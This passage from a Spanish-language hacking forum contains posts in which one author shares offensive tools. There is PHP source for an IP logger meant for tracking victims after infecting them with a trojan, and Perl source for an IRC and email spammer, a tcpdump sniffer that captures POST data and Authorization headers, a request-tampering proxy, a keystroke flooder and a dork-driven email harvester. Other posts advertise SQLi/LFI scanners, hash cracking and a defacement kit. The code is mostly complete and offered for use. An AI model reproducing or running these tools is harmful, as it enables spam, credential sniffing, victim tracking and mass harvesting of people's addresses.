      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menu()

    if re2==8 :
     aplicacion.exit()
     
    menu()

    # The End ?


    Si quieren bajarlo lo pueden hacer de aca
#124
PHP / [PHP] DH Defacer Tools 0.8
31 Enero 2014, 04:13 AM
Un simple programa en PHP dedicado a las vulnerabilidades webs con las siguientes opciones :

  • Bing Scanner con scanner SQLI incluido
  • SQLI Scanner
  • LFI Scanner
  • Crackear varias hashes MD5
  • Buscador del panel de administracion
  • Localizador de IP y sus DNS
  • Encoders para base64,HEX y MD5

    Un video con ejemplos de uso :

    [youtube=640,360]http://www.youtube.com/watch?v=5DlVOKjKtJk[/youtube]

    Si quieren bajar el codigo lo pueden hacer de aca
#125
PHP / [PHP] IP Capture 0.2
27 Enero 2014, 19:08 PM
Un simple programa en PHP para capturar la IP de algun visitante , en realidad no funciona como contador y esas cosas , lo hice pensando en capturar la IP de alguien despues de infectarlo con cualquier cosa ya sea troyano u otras cosas.
La idea es asi , mandarle a la victima la url con ?id= , por ejemplo en mi caso el archivo es image.php , entonces para mandarle a la victima seria asi :

http://localhost/images/image.php?id=

De esa forma el programa captura la IP y la hora , despues de esto el programa redirecciona a la url marcada por ustedes en la configuracion del programa.

Para entrar a la administracion es asi :

http://localhost/images/image.php?admin=

El codigo :

Código (php) [Seleccionar]

<?php

// IP Capture 0.2
// Written By Doddy Hackman in the summer of the 2014

//Edit

$username "admin";
$password "21232f297a57a5a743894a0e4a801fc3"//admin
$host "localhost";
$userw "root";
$passw "";
$db "ip";

//

error_reporting(0);
if (isset(
$_GET['id'])) {
    
mysql_connect($host$userw$passw);
    
mysql_select_db($db);
    
$ipa ip2long($_SERVER[REMOTE_ADDR]);
    
$ip mysql_real_escape_string($_SERVER[REMOTE_ADDR]);
    
$agente mysql_real_escape_string($_SERVER['HTTP_USER_AGENT']);
    
$hora mysql_real_escape_string(date('l jS \of F Y h:i:s A'));
    if (
$ipa == - || $ipa === FALSE || $ip == "127.0.0.1") {
        
//echo $ip."<br>";
        //echo $agente."<br>";
        //echo $hora."<br>";
        
mysql_query("INSERT INTO ips (id,ip,useragent,hora) values (NULL,'$ip','$agente','$hora')");
        
$link mysql_query("select link from links where id=1");
        if (
$valor mysql_fetch_array($link)) {
            echo 
"<meta http-equiv='Refresh' content='0;url=$valor[0]'>";
        }
    } else {
        echo 
"<script>alert('Good Try Bitch');</script>";
    }
    
mysql_close();
} elseif (isset(
$_GET['admin'])) {
    if (isset(
$_COOKIE['portal'])) {
        
$st base64_decode($_COOKIE['portal']);
        
$plit split("@"$st);
        
$user $plit[0];
        
$pass $plit[1];
        if (
$user == $username and $pass == $password) {
            
darcolor();
            
mysql_connect($host$userw$passw);
            
mysql_select_db($db);
            if (isset(
$_POST['instalar'])) {
                
$todo "create table ips (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
ip TEXT NOT NULL,
useragent TEXT NOT NULL,
hora TEXT NOT NULL,
PRIMARY KEY(id));
"
;
                
$todo2 "create table links (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
link TEXT NOT NULL,
PRIMARY KEY(id));
"
;
                if (
mysql_query($todo)) {
                    if (
mysql_query($todo2)) {
                        
mysql_query("INSERT INTO links (id,link) values (NULL,'http://www.google.com')");
                        echo 
"<script>alert('Installed');</script>";
                        echo 
'<meta http-equiv="refresh" content=0;URL=>';
                    }
                } else {
                    echo 
"<script>alert('Error');</script>";
                }
            }
            if (
mysql_num_rows(mysql_query("show tables like 'ips'"))) {
                
//Lo demas
                
echo "<table border=1 style='margin: 0 auto;'>";
                echo 
"<title>IP Capture Administration 0.2</title>";
                echo 
"<td><br><center><h1><b>IP Capture Administration 0.2</h1></b></center><br><br></td><tr>";
                if (isset(
$_GET['del'])) {
                    
$id $_GET['del'];
                    if (
is_numeric($id)) {
                        if (
mysql_query("delete from ips where id ='$id'")) {
                            echo 
"<script>alert('Deleted');</script>";
                        } else {
                            echo 
"<script>alert('Error');</script>";
                        }
                    }
                }
                if (isset(
$_POST['linknuevo'])) {
                    
$linkar mysql_real_escape_string($_POST['linknuevo']);
                    if (
mysql_query("update links set link='$linkar' where id=1")) {
                        echo 
"<script>alert('Changed');</script>";
                    } else {
                        echo 
"<script>alert('Error');</script>";
                    }
                }
                echo 
"<td>
<center><table borde=1><td>
<h2><center><br>Update Link</center></h2></td><tr><br><br><td>
<form action='?admin=na&linknuevo' method=POST><br>
<b>Link : </b><input type=text size=50 name=linknuevo value="
;
                
$link mysql_query("select link from links where id=1");
                if (
$valor mysql_fetch_array($link)) {
                    echo 
$valor[0];
                }
                echo 
"></td><tr><td><center><br><input type=submit value=Changed></center><br></td><tr></table><br>
</form></td><tr>
<br><td>"
;
                
$iny htmlentities("http://" $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id=");
                echo 
"<center><table border=1><br>";
                echo 
"<td><h2><br><center>Link to Send</center></h2></td><tr>";
                echo 
"<td><input text=gen size=100 value=" $iny "></td><tr>";
                echo 
"<br></table></center><br>";
                echo 
"<br><center><table border=1>
<td><h2><center>Logs</center></h2></td><tr><td>
<table border=1>
<td>ID</td><td>IP</td><td>UserAgent</td><td>DateTime</td><td>Option</td><tr>"
;
                
$sen = @mysql_query("select * from ips order by id ASC");
                while (
$ab = @mysql_fetch_array($sen)) {
                    echo 
"<td>" htmlentities($ab[0]) . "</td><td>" htmlentities($ab[1]) . "</td><td>" htmlentities($ab[2]) . "</td><td>" htmlentities($ab[3]) . "</td><td><a href=?admin=na&del=" htmlentities($ab[0]) . ">Delete</a></td><tr>";
                }
                echo 
"</table></center><br><br><br></td>
</center>
</td><tr></table>
"
;
                echo 
"<br><br><br><center><h1>-- == (C) Doddy Hackman 2014 == --</h1></center><br><br></table>";
                
//
                
            
} else {
                echo 
"
<center><br><br>
<form action='' method=POST>
<h2>You want to install IP Capture 0.2 ?</h2><br><br>
<input type=submit name=instalar value=Install>
</form>"
;
            }
            
mysql_close();
            exit(
1);
            
// End
            
        
} else {
            echo 
"<script>alert('Fuck You');</script>";
        }
    }
    if (isset(
$_POST['login'])) {
        if (
$_POST['user'] == $username and md5($_POST['password']) == $password) {
            
setcookie("portal"base64_encode($_POST['user'] . "@" md5($_POST['password'])));
            echo 
"<script>alert('Welcome Idiot');</script>";
            echo 
'<meta http-equiv="refresh" content=0;URL=?admin=>';
        } else {
            echo 
"<script>alert('Fuck You');</script>";
        }
    } else {
        
darcolor();
        echo 
"
<title>IP Capture 0.2</title>
<br><h1><center>IP Capture 0.2</center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=text name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>"
;
    }
} else {
    
mysql_connect($host$userw$passw);
    
mysql_select_db($db);
    
$link mysql_query("select link from links where id=1");
    if (
$valor mysql_fetch_array($link)) {
        echo 
"<meta http-equiv='Refresh' content='0;url=$valor[0]'>";
    }
    
mysql_close();
}
function 
darcolor() {
    echo 
'<style type="text/css">
 
 
.main {
margin            : -287px 0px 0px -490px;
border            : White solid 1px;
BORDER-COLOR: #00FF00;
}
 
 
#pie {
position: absolute;
bottom: 0;
}
 
body,a:link {
background-color: #000000;
color:#00FF00;
Courier New;
cursor:crosshair;
font-size: small;
}
 
input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#00FF00;
border: solid 1px #00FF00;
border-color:#00FF00
}
 
a:link,a:visited,a:active {
color: #00FF00;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}
 
</style>'
;
}

// The End ?

?>
   
#126
Scripting / [Perl] KingSpam 0.8
24 Enero 2014, 17:17 PM
Un simple script para spammear cuentas de correo y canales IRC.

El codigo.

Código (perl) [Seleccionar]

#!usr/bin/perl
#King Spam 0.8
#(C) Doddy Hackman 2014

use IO::Socket;
use Win32::OLE;

menu();
copyright();

sub menu {

    head();

    print qq(

[++] Options

[+] 1 : Spam IRC Channel
[+] 2 : Spam E-mail Address
[+] 3 : About
[+] 4 : Exit

);

    print "[+] Option : ";
    chomp( my $op = <stdin> );

    $SIG{INT} = \&volver;

    if ( $op eq "1" ) {

        print "\n\n-- == IRC Spammer == --\n\n";

        print "\n[+] Hostname : ";
        chomp( my $hostname = <stdin> );
        print "\n[+] Port : ";
        chomp( my $port = <stdin> );
        print "\n[+] Channel : ";
        chomp( my $canal = <stdin> );
        print "\n[+] Nickname : ";
        chomp( my $nombre = <stdin> );
        print "\n[+] Spam : ";
        chomp( my $archivo = <stdin> );

        my @spamnow = cargarword($archivo);

        print "\n[+] Connecting\n\n";

        if (
            my $socket = new IO::Socket::INET(
                PeerAddr => $hostname,
                PeerPort => $port,
                Proto    => "tcp"
            )
          )
        {

            print $socket "NICK $nombre\r\n";
            print $socket "USER $nombre 1 1 1 1\r\n";
            print $socket "JOIN $canal\r\n";

            print "[+] Spammer Online\n\n";

            while ( my $log = <$socket> ) {

                chomp $log;

                if ( $log =~ /^PING(.*)$/i ) {
                    print $socket "PONG $1\r\n";
                }

                if ( $log =~ m/:(.*) 353 (.*) = (.*) :(.*)/ig ) {

                    while (true) {

                        my $pro = $4;

                        sleep 10;

                        print $socket "PRIVMSG $canal "
                          . $spamnow[ rand(@spamnow) ] . "\r\n";
                        my @nicks = split " ", $pro;

                        sleep 3;

                        foreach $names (@nicks) {
                            unless ( $nombre eq $names ) {
                                $names =~ s/\@//;
                                print $socket
                                  "MSG $names $spamnow[rand(@spamnow)]\r\n";
                                print "[+] Spam : $names !\n";
                            }
                        }
                    }
                }
            }
        }
        else {
            print "[-] Error\n";
            print "\n[+] Finished\n";
            <stdin>;
            menu();
        }

    }
    elsif ( $op eq "2" ) {

        print "\n\n-- == Spam Mails == --\n\n";

        print "\n[+] Host : ";
        chomp( my $host = <stdin> );

        print "\n[+] Port : ";
        chomp( my $puerto = <stdin> );

        print "\n[+] Username : ";
        chomp( my $username = <stdin> );

        print "\n[+] Password : ";
        chomp( my $password = <stdin> );

        print "\n[+] Count Message : ";
        chomp( my $count = <stdin> );

        print "\n[+] To : ";
        chomp( my $to = <stdin> );

        print "\n[+] Subject : ";
        chomp( my $asunto = <stdin> );

        print "\n[+] Body : ";
        chomp( my $body = <stdin> );

        print "\n[+] File to Send : ";
        chomp( my $file = <stdin> );

        print "\n[+] Starting ...\n\n";

        for my $num ( 1 .. $count ) {
            print "[+] Sending Message : $num\n";
            sendmail(
                $host,     $puerto,   $username, $password,
                $username, $username, $username, $to,
                $asunto,   $body,     $file
            );
        }

        print "\n[+] Finished\n";
        <stdin>;
        menu();

    }
    elsif ( $op eq "3" ) {
        print
"\n\n[+] This program was written by Doddy Hackman in the summer of the 2014\n";
        <stdin>;
        menu();
    }
    elsif ( $op eq "4" ) {
        copyright();
        <stdin>;
        exit(1);
    }
    else {
        menu();
    }

}

#Functions

sub sendmail {

## Function Based on : http://code.activestate.com/lists/pdk/5351/
## Credits : Thanks to Phillip Richcreek and Eric Promislow

    my (
        $host, $port, $username, $password, $from, $cc,
        $bcc,  $to,   $asunto,   $mensaje,  $file
    ) = @_;

    $correo = Win32::OLE->new('CDO.Message');

    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusername',
        $username );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendpassword',
        $password );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
        $port );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
    $correo->Configuration->Fields->Update();

    if ( -f $file ) {
        $correo->AddAttachment($file);
    }

    $correo->{From}     = $from;
    $correo->{CC}       = $cc;
    $correo->{BCC}      = $bcc;
    $correo->{To}       = $to;
    $correo->{Subject}  = $asunto;
    $correo->{TextBody} = $mensaje;
    $correo->Send();

}

sub volver {
    print "\n\n[+] Finished\n";
    <stdin>;
    menu();
}

sub cargarword {
    my @words;
    my @r;
    open( FILE, $_[0] );
    @words = <FILE>;
    close FILE;
    for (@words) {
        push( @r, $_ );
    }
    return (@r);
}

sub limpiarpantalla {
    if ( $^O =~ /Win/ ) {
        system("cls");
    }
    else {
        system("clear");
    }
}

sub head {

    limpiarpantalla();

    print qq(


@   @  @  @    @   @@@@       @@@   @@@@@    @    @     @
@  @   @  @@   @  @    @     @   @  @    @   @    @     @
@ @    @  @@   @  @          @      @    @  @ @   @@   @@
@@     @  @ @  @  @          @      @    @  @ @   @@   @@
@@     @  @ @  @  @  @@@      @@@   @@@@@  @   @  @ @ @ @
@ @    @  @  @ @  @    @         @  @      @   @  @ @ @ @
@  @   @  @   @@  @    @         @  @      @@@@@  @  @  @
@   @  @  @   @@  @   @@     @   @  @     @     @ @  @  @
@    @ @  @    @   @@@ @      @@@   @     @     @ @     @


);
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

# The End ?
#127
Scripting / [Perl] DH Sniffer 0.3
18 Enero 2014, 23:56 PM
Un simple sniffer en perl para capturar todo lo que pasa en los metodos GET y POST

El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#DH Sniffer 0.3
#(C) Doddy Hackman 2014
#Credits :
#Based on :
#http://stackoverflow.com/questions/4777042/can-i-use-tcpdump-to-get-http-requests-response-header-and-response-body
#http://www.perlmonks.org/?node_id=656590
#http://stein.cshl.org/~lstein/talks/WWW6/sniffer/
#http://perlenespanol.com/foro/post36051.html
#Thanks to : Lincoln D. Stein , paulz and Explorer

use CGI;
use threads;
use URI::Escape;

$| = 1;

my $control = shift;

head();

if ( $control eq "" ) {
    print "\n[+] Sintax : $0 <option>\n";
    print "\n[++] Options :\n";
    print "\n[+] -g : Capture method GET\n";
    print "[+] -p : Capture method POST\n";
    print "\n[+] Example : sudo perl $0 -pg\n";
    copyright();
}

print "\n";

my $hilo_get  = threads->new( \&sniffer_get );
my $hilo_post = threads->new( \&sniffer_post );

$hilo_get->join;
$hilo_post->join;

sub sniffer_get {

    if ( $control =~ /g/ ) {

        open( GET, "/usr/sbin/tcpdump -lnx -s 1024 dst port 80 |" );

        while (<GET>) {

            if (/^\S/) {

                while ( $contenido =~
                    /(GET|POST|WWW-Authenticate|Authorization).+/g )
                {
                    print "\n[+] $ip = $name " . uri_unescape($&);
                    savefile( "logs", "\n[+] $ip = $name " . uri_unescape($&) );
                }

                undef $ip;
                undef $name;
                undef $contenido;

                ( $ip, $name ) =
                  /IP (\d+\.\d+\.\d+\.\d+).+ > (\d+\.\d+\.\d+\.\d+)/;

            }

            s/\s+//g;
            s/0x[abcdef\d]+://i;
            s/([0-9a-f]{2})/chr(hex($1))/eg;
            tr/\x1F-\x7E\r\n//cd;

            $contenido .= $_;

        }
    }
}

sub sniffer_post {

    if ( $control =~ /p/ ) {

        open( POST,
"tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' |"
        );
        while (<POST>) {

            if (/^\S/) {

                my $code = $_;

                $buscando = CGI->new($code);

                my @params = $buscando->param;

                foreach $par (@params) {

                    if ( $par =~ /\./ ) {
                        next;
                    }
                    else {
                        my $dataf = $buscando->param($par);
                        print "\n[+] $par " . " : " . $dataf;
                        savefile( "logs", "\n[+] $par " . " : " . $dataf );
                    }
                }
            }
        }
    }
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1];
    close SAVE;
}

sub head {
    print "\n-- == DH Sniffer 0.3 == --\n";
}

sub copyright {
    print "\n-- == (C) Doddy Hackman 2014 == --\n\n";
    exit(1);
}

# The End ?


Eso es todo.
#128
Scripting / [Perl] ClapTrap IRC Bot 0.5
10 Enero 2014, 16:11 PM
Hola acabo de mejorar mi bot para irc llamado ClapTrap (basado en el robot gracioso de borderlands) , el bot tiene los siguientes comandos :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII  

    Les dejo un video con ejemplos de uso :

    [youtube=640,360]http://www.youtube.com/watch?v=4Hnq3Gi--9M&feature=youtu.be[/youtube]

    Si quieren bajar el codigo lo pueden hacer de aca

    Eso es todo.
#129
Scripting / [Perl] Project Kakilles 0.3
5 Enero 2014, 22:59 PM
Un simple script que hice como parodia del famoso programa Achilles , el kakilles viene por lo caca del programa.

Les dejo un video que tiene 3 ejemplos de uso :

* HTTP Header Injection
* Bypass Uploaders
* Cookie Handling

El video :

[youtube=640,360]http://www.youtube.com/watch?v=RdiKdIxqobU[/youtube]

El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#Project Kakilles 0.3
#(C) Doddy Hackman 2014

use HTTP::Proxy;
use HTTP::Proxy::BodyFilter::simple;
use HTTP::Proxy::BodyFilter::complete;

my $port;

head();

if ( $ARGV[1] ne "" ) {
   $port = $ARGV[1];
}
else {
   $port = 8080;
}

if ( $ARGV[0] eq "" ) {
   sintax();
   copyright();
}

$SIG{INT} = \&copyright;

my $logs       = "logs.txt";
my $leer_datos = "center.txt";

print "\n[+] Kakilles Online : $port ...\n";

my $server = HTTP::Proxy->new( port => $port );
$server->host();

$server->push_filter(
   mime     => undef,
   response => HTTP::Proxy::BodyFilter::complete->new()
);

$server->push_filter(
   mime     => undef,
   request  => HTTP::Proxy::BodyFilter::simple->new( \&enable ),
   response => HTTP::Proxy::BodyFilter::simple->new( \&enable2 )
);

$server->start();

sub enable {

   my @logs;

   my ( $self, $dataref, $message, $protocol, $buffer ) = @_;

   if ( $ARGV[0] =~ /p/ ) {

       if ( $message->content ne "" and $message->method eq "POST" ) {

           print
"\n########################################################################\n";
           print "[+] Method : " . $message->method;
           print "\n[+] Content : " . $message->content;
           savefile( $leer_datos, $message->content );
           print
"\n########################################################################\n";

           print "\n[+] Change ? [y/n] : ";
           chomp( my $rta = <stdin> );

           if ( $rta =~ /y/ ) {

               system_leida($leer_datos);

               my $source = abrir();
               $message->header( "content-length" => length($source) );
               $message->content($source);

               print "\n[+] Changed !\n";

           }
       }
   }

   if ( $ARGV[0] =~ /g/ ) {

       if ( $message->uri =~ /(.*)\?(.*)/ ) {

           print
"\n########################################################################\n";
           print "[+] GET : " . $message->uri;
           savefile( $leer_datos, $message->uri );
           print
"\n########################################################################\n";

           print "\n[+] Change ? [y/n] : ";
           chomp( my $rta = <stdin> );

           if ( $rta =~ /y/ ) {

               system_leida($leer_datos);

               my $source = abrir();

               $message->uri($source);

               print "\n[+] Changed !\n";

           }

       }

   }

   if ( $ARGV[0] =~ /a/ ) {

       print
"\n########################################################################\n";
       print "[+] User-Agent : " . $message->header("user-agent");
       savefile( $leer_datos, $message->header("user-agent") );
       print
"\n########################################################################\n";

       print "\n[+] Change ? [y/n] : ";
       chomp( my $rta = <stdin> );

       if ( $rta =~ /y/ ) {

           system_leida($leer_datos);

           my $source = abrir();

           $message->header( "user-agent" => $source );

           print "\n[+] Changed !\n";

       }
   }

   if ( $ARGV[0] =~ /o/ ) {

       print
"\n########################################################################\n";
       print "[+] Cookie : " . $message->header("cookie");
       savefile( $leer_datos, $message->header("cookie") );
       print
"\n########################################################################\n";

       print "\n[+] Change ? [y/n] : ";
       chomp( my $rta = <stdin> );

       if ( $rta =~ /y/ ) {

           system_leida($leer_datos);

           my $source = abrir();

           $message->header( "cookie" => $source );

           print "\n[+] Changed !\n";

       }
   }

}

sub enable2 {
   my ( $j, $k, $l, $m, $n ) = @_;

   if ( $ARGV[0] =~ /c/ ) {

       if ( $$k ne "" ) {

           print
             "\n##########################################################\n";
           print "[+] Content : " . $$k;
           savefile( $leer_datos, $$k );
           print
             "\n##########################################################\n";

           print "\n[+] Change ? [y/n] : ";
           chomp( my $rta = <stdin> );

           if ( $rta =~ /y/ ) {

               system_leida($leer_datos);

               my $source = abrir();

               $$k = $source;

               print "\n[+] Changed !\n";

           }

       }

   }

}

# Functions

sub system_leida {
   my $os = $^O;
   if ( $os =~ /Win/ig ) {
       system( "start " . $_[0] );
   }
   else {
       system( "sudo gedit " . $_[0] );
   }
}

sub abrir {
   open my $FILE, q[<], $leer_datos;
   my $word = join q[], <$FILE>;
   close $FILE;
   chomp $word;
   return $word;
}

sub savefile {
   unlink($leer_datos);
   open( SAVE, ">>" . $_[0] );
   print SAVE $_[1] . "\n";
   close SAVE;
}

sub head {
   print "\n-- == Project Kakilles 0.3 == --\n";
}

sub copyright {
   print "\n-- == (C) Doddy Hackman 2014 == --\n\n";
   exit(1);
}

sub sintax {
   print "\n[+] Sintax : $0 <options> <port>\n";
   print "\n[?] Options ...\n\n";
   print "-g : Form with GET\n";
   print "-p : Form with POST\n";
   print "-a : Edit User-Agent\n";
   print "-c : Edit Content\n";
   print "-o : Edit Cookie\n";
   print "\n[+] Example : $0 -pc 666\n";
}

# The End ?


Si quieren bajar el codigo lo pueden hacer de aca
#130
Scripting / [Perl] Project ParanoicScan 1.7
1 Enero 2014, 04:56 AM
Como primer programa del 2014 les traigo la nueva version de mi ParanoicScan en su version 1.7 , hace tiempo ciertas personas robaron el codigo fuente de la anterior version de este programa , el tema es que no me molesto que usaran el codigo sino que solo le cambiaron el nombre del programa y el nombre del autor , no se molestaron en cambiar los nombres de la variables solo cambiaron el nombre del autor , por un momento dude en seguir compartiendo el codigo de este proyecto de 2 años de trabajo pero a pesar de eso voy a seguir compartiendo el codigo de este programa , ademas explorer (de perlenespanol) me recomendo hacer otra version de este programa para demostrar que era el verdadero autor asi que el programa tiene el doble de funciones y arregle un sin fin de bugs que habia en todo el codigo.

[++] Old Options

Google & Bing Scanner que ademas scannea :

* XSS
* SQL GET / POST
* SQL GET
* SQL GET + Admin
* Directory listing
* MSSQL
* Jet Database
* Oracle
* LFI
* RFI
* Full Source Discloure
* HTTP Information
* SQLi Scanner
* Bypass Admin
* Exploit FSD Manager
* Paths Finder
* IP Locate
* Crack MD5
* Panel Finder
* Console

[++] Fixes

  • Renovacion de paginas actuales para crack md5
  • Error en el scanner fsd
  • Error en el scanner http scan
  • Espacios entre texto demasiados molestos
  • Agregado array para bypass
  • Error en la leida de archivos

    [++] New options

  • Genera todos los logs en un archivo html
  • Incorpora useragent aleatorios y nuevos
  • Multi encoder/decoder :

    * Ascii
    * Hex
    * Url
    * Bin To Text & Text To Bin

  • PortScanner
  • HTTP FingerPrinting
  • CSRF Tool
  • XSS Scan
  • Generator para XSS Bypass
  • Generador de links para tiny url
  • Buscador y descargador de exploits en Exploit-DB
  • Mysql Manager
  • LFI Tools

    Un video con ejemplos de uso

    [youtube=640,360]https://www.youtube.com/watch?v=-M59SEVTevc[/youtube]

    El programa lo pueden bajar desde los siguientes links :

    Github
    GoogleCode
    SourceForge
    PasteBin

    Eso seria todo.
#131
Scripting / [Perl] Come on Spam Now 0.1
31 Diciembre 2013, 22:42 PM
Un simple script que hice para trolear hasta el infinito en juegos online u otras cosas en las cuales mandan un mensaje por cada enter.

El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Come on Spam Now 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd

use Win32::GuiTest qw(SendKeys);
use Time::HiRes "usleep";

$|++;

head();

my $tiempo_final;

my $tiemponow = time;

print "[+] Text to Flood : ";
chomp( my $your_text = <stdin> );
print "\n[+] Duration of attack : ";
chomp( my $hasta = <stdin> );
print "\n[+] Sleep Time : ";
chomp( my $tiempo = <stdin> );

$hasta = $hasta + 10;

if ( $tiempo ne "" ) {
    $tiempo_final = $tiempo;
}
else {
    $tiempo_final = 0;
}

print "\n[+] Select the window to destroy\n";
print "\n[+] Wait 5 seconds\n";
sleep(5);
print "\n[+] Come on Spam Now !!!!!!!\n";

while ( time - $tiemponow < $hasta ) {

    sleep($tiempo_final);
    SendKeys($your_text);
    SendKeys("{ENTER}");

}

print "\n[+] Finished\n";

copyright();

#Functions

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#           Come On Spam Now 0.1              #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2013 == --");

    print "\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

#The End ?
#132
Scripting / [Perl] Emails Extractor 0.2
27 Diciembre 2013, 15:35 PM
Un simple script en Perl para buscar direcciones de correo en :

  • Un archivo de texto cualquiera
  • Una pagina
  • Usando un dork en google para scanear todas las paginas encontradas con el dork
  • Lo mismo que el anterior pero en bing

    El codigo.

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #Email Extractor 0.2
    #(C) Doddy Hackman 2013
    #Credits : Regex based on
    #http://stackoverflow.com/questions/15710275/print-email-addresses-to-a-file-in-perl
    #Thanks to motherconfessor & amon

    use LWP::UserAgent;
    use URI::Escape;

    my $nave = LWP::UserAgent->new;
    $nave->agent(
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
    );
    $nave->timeout(10);

    my $buscador = qr/[A-Z0-9._%+-]+\@[A-Z0-9.-]+\.[A-Z]{2,4}/i
      ;    # Thanks to motherconfessor & amon
    my @emails;

    head();

    if ( $ARGV[0] eq "-file" ) {

        print "\n[+] Opening file ...\n";

        if ( -f $ARGV[1] ) {

            my $code = openfile( $ARGV[1] );

            while ( $code =~ /($buscador)/g ) {
                my $email = $1;
                push( @emails, $email );
            }

            my @emails = repes(@emails);

            print "\n[+] Mails Found : " . int(@emails) . "\n";

            for (@emails) {
                savefile( $ARGV[2], $_ );
            }

        }
        else {
            print "\n[-] File not found\n";
        }

    }
    elsif ( $ARGV[0] eq "-google" ) {

        print "\n[+] Searching in Google ...\n";

        my @links = google( $ARGV[1], $ARGV[2] );

        print "[+] Scanning [" . int(@links) . "] pages ...\n";

        for my $ink (@links) {
            my $code = toma($ink);

            while ( $code =~ /($buscador)/g ) {
                my $email = $1;
                push( @emails, $email );
            }

        }

        my @emails = repes(@emails);

        print "\n[+] Mails Found : " . int(@emails) . "\n";

        for (@emails) {
            savefile( $ARGV[2], $_ );
        }

    }
    elsif ( $ARGV[0] eq "-bing" ) {

        print "\n[+] Searching in Bing ...\n";

        my @links = bing( $ARGV[1], $ARGV[2] );

        print "[+] Scanning [" . int(@links) . "] pages ...\n";

        for my $ink (@links) {
            my $code = toma($ink);

            while ( $code =~ /($buscador)/g ) {
                my $email = $1;
                push( @emails, $email );
            }

        }

        my @emails = repes(@emails);

        print "\n[+] Mails Found : " . int(@emails) . "\n";

        for (@emails) {
            savefile( $ARGV[3], $_ );
        }

    }
    elsif ( $ARGV[0] eq "-page" ) {

        my $code = toma( $ARGV[1] );

        print "\n[+] Loading page ...\n";

        while ( $code =~ /($buscador)/g ) {
            my $email = $1;
            push( @emails, $email );
        }

        my @emails = repes(@emails);

        print "\n[+] Mails Found : " . int(@emails) . "\n";

        for (@emails) {
            savefile( $ARGV[2], $_ );
        }

    }
    else {
        sintax();
    }

    copyright();

    # Functions

    sub bing {

        my ( $a, $b ) = @_;
        for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
            my $code =
              toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );

            while ( $code =~ /<h3><a href="(.*?)"/mig ) {
                push( @founds, $1 );
            }
        }
        my @founds = repes( cortar(@founds) );
        return @founds;
    }

    sub google {
        my ( $a, $b ) = @_;
        my @founds;
        for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
            $code = toma(
                "http://www.google.com.ar/search?hl=&q=" . $a . "&start=$pages" );
            while ( $code =~ /(?<="r"><. href=")(.+?)"/mig ) {
                my $url = $1;
                if ( $url =~ /\/url\?q\=(.*?)\&amp\;/ ) {
                    push( @founds, uri_unescape($1) );
                }
            }
        }
        my @founds = repes( cortar(@founds) );
        return @founds;
    }

    sub cortar {
        my @nuevo;
        for (@_) {
            if ( $_ =~ /=/ ) {
                @tengo = split( "=", $_ );
                push( @nuevo, @tengo[0] . "=" );
            }
            else {
                push( @nuevo, $_ );
            }
        }
        return @nuevo;
    }

    sub toma {
        return $nave->get( $_[0] )->content;
    }

    sub savefile {

        if ( $_[0] eq "" ) {
            open( SAVE, ">>logs.txt" );
        }
